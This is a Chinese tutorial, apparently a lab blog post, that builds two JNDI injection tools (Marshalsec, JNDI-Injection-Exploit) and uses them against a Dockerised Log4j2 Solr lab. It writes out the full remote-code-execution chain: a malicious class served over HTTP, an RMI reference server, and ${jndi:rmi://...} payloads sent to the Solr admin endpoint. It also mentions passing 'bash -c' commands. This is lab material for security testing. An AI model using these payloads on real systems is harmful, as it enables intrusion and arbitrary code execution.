说到JNDI注入漏洞工具,最常用的应该就是这两个了吧
Marshalsec工具获取与编译
介绍
Marshalsec是一个用于Java反序列化漏洞利用的工具,由马克斯·贝克勒(mbechler)开发。它主要用于帮助安全研究人员和渗透测试人员分析和利用Java应用程序中的反序列化漏洞。
项目地址:
Marshalsec的GitHub仓库地址为:https://github.com/mbechler/marshalsec
另一个项目镜像地址为:https://gitcode.com/gh_mirrors/ma/marshalsec
环境准备:
确保系统中已经安装了Java和Maven。如果没有,可以通过以下命令安装:
对于Ubuntu/Linux:sudo apt-get install default-jdk maven
对于CentOS/RHEL:sudo yum install java-1.8.0-openjdk-devel maven
克隆与编译
从GitHub克隆Marshalsec项目:git clone https://github.com/mbechler/marshalsec.git
进入项目目录:cd marshalsec
编译项目:(需要 Java 8)mvn clean package -DskipTests
编译完成后,target/目录下会产生marshalsec-{version}-all.jar文件。
使用方法
java -cp marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.<Unmarshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
-a - 生成/测试该序列化器的所有有效载荷。
-t - 测试模式,在生成后立即反序列化生成的有效载荷。
-v - 详细模式,例如在测试模式下显示生成的有效载荷。
gadget_type - 特定漏洞标识符,省略则显示特定序列化器可用的漏洞。
arguments - 漏洞相关的参数
JNDI-Injection-Exploit 工具获取与编译
介绍
JNDI-Injection-Exploit是一个用于生成可工作的JNDI链接并提供后台服务的工具,通过启动RMI服务器、LDAP服务器和HTTP服务器来实现。该工具主要用于测试JNDI注入漏洞,如Jackson、Fastjson反序列化漏洞等
项目地址:
JNDI-Injection-Exploit的GitHub仓库地址为:https://github.com/welk1n/JNDI-Injection-Exploit
另一个项目镜像地址为:https://gitcode.com/gh_mirrors/jn/JNDI-Injection-Exploit/overview
环境准备:
确保系统中已经安装了Java和Maven。如果没有,可以通过以下命令安装:
对于Ubuntu/Linux:sudo apt-get install default-jdk maven
对于CentOS/RHEL:sudo yum install java-1.8.0-openjdk-devel maven
克隆与编译
从GitHub克隆JNDI-Injection-Exploit项目:
git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
进入项目目录:cd JNDI-Injection-Exploit
编译项目:(需要 Java 8)mvn clean package -DskipTests
编译完成后,target/目录下会产生JNDI-Injection-Exploit-{version}-SNAPSHOT-all.jar文件。
不想自己编译的可以直接下载已经编译好的:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方法
在命令行中运行以下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
其中:
-C - 远程class文件中要执行的命令。
(可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")
-A - 服务器地址,可以是IP地址或者域名。
(可选项 , 默认地址是第一个网卡地址)
注意:
要确保 1099、1389、8180端口可用,不被其他程序占用。
或者你也可以在run.ServerStart类2628行更改默认端口。
命令会被作为参数传入Runtime.getRuntime().exec(),
所以需要确保命令传入exec()方法可执行。
bash等可在shell直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..."
接下来演示如何利用这两个工具进行漏洞利用,以此来对比两个工具的区别
为此我们需要构造一个漏洞环境,当然最便捷的方式就是使用docker 直接拉取一个漏洞环境了,我们用之前很火的漏洞log4j2的漏洞来演示
进入到vulhubz/log4j/CVE-2021-44228/目录下
执行
docker-compose up -d 拉取漏洞环境
启动成功后访问一下漏洞环境
http://192.168.19.158:8983/solr/#/
Marshalsec工具进行利用
进入到我们构建好的Marshalsec的jar文件下,首先我们需要先有一个TouchFile.java文件,文件内容为我们需要执行的命令,使用javac TouchFile.java生成class执行文件
TouchFile.java文件内容
成功生成TouchFile.class文件后,需要使用python开启一个web目录,以便受害者机器能下载到该文件
python3 -m http.server 8000
python2 -m SimpleHTTPServer 8000
接下来使用工具开启RMIserver
以下的192.168.101.135:8080为刚才开启的web目录地址,TouchFile为TouchFile.java文件中的公开的类名,需要保持一致
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.19.1:8000/#TouchFile"
发送利用paylaod
http://192.168.19.158:8983/solr/admin/cores?action=${jndi:rmi://192.168.19.1:1099/TouchFile} #其中192.168.19.1:1099 为以上命令开启后的ip地址和端口,可以从图看出来为1099,TouchFile为TouchFile为TouchFile.java文件中的公开的类名,需要保持一致:
可以看到受害者机器已经下载了TouchFile文件
Marshalsec服务已经有响应
接下来我们看下受害者是否已经执行了我们想要执行的命令touch /tmp/success
受害者机器已经成功执行了该命令
JNDI-Injection-Exploit工具进行利用
直接使用命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/20241014 #不使用-A 默认主机IP
发送利用paylaod
http://192.168.19.158:8983/solr/admin/cores?action=${jndi:rmi://192.168.1.9:1099/ewvnfv} #其中192.168.19.1:1099 为以上命令开启后的ip地址和端口,可以从图看出来为1099,ewvnfv为随机生成的类,需要和命令生成的保持一致:
JNDI-Injection-Exploit服务已经有响应
接下来我们看下受害者是否已经执行了我们想要执行的命令touch /tmp/20241014
受害者机器已经成功执行了该命令
通过以上的实验证明
JNDI-Injection-Exploit:
使用场景:适用于需要利用JNDI注入漏洞进行攻击的场景
特点:简单易用、支持多种攻击方式、免费开源等
Marshalsec:
使用场景:适用于需要利用Java反序列化漏洞进行攻击的场景,如渗透测试和安全研究等。
特点:功能强大、支持多种序列化协议、易于定制等。它提供了丰富的选项和参数来生成恶意的序列化数据,并支持多种攻击方式。
JNDI-Injection-Exploit对比起来,在实现rmi/ldap注入的时候,要简单的多,只需要一步执行到位,而不需要像Marshalsec需要多几个步骤。所以漏洞利用过程中,更多的都是使用JNDI-Injection-Exploit工具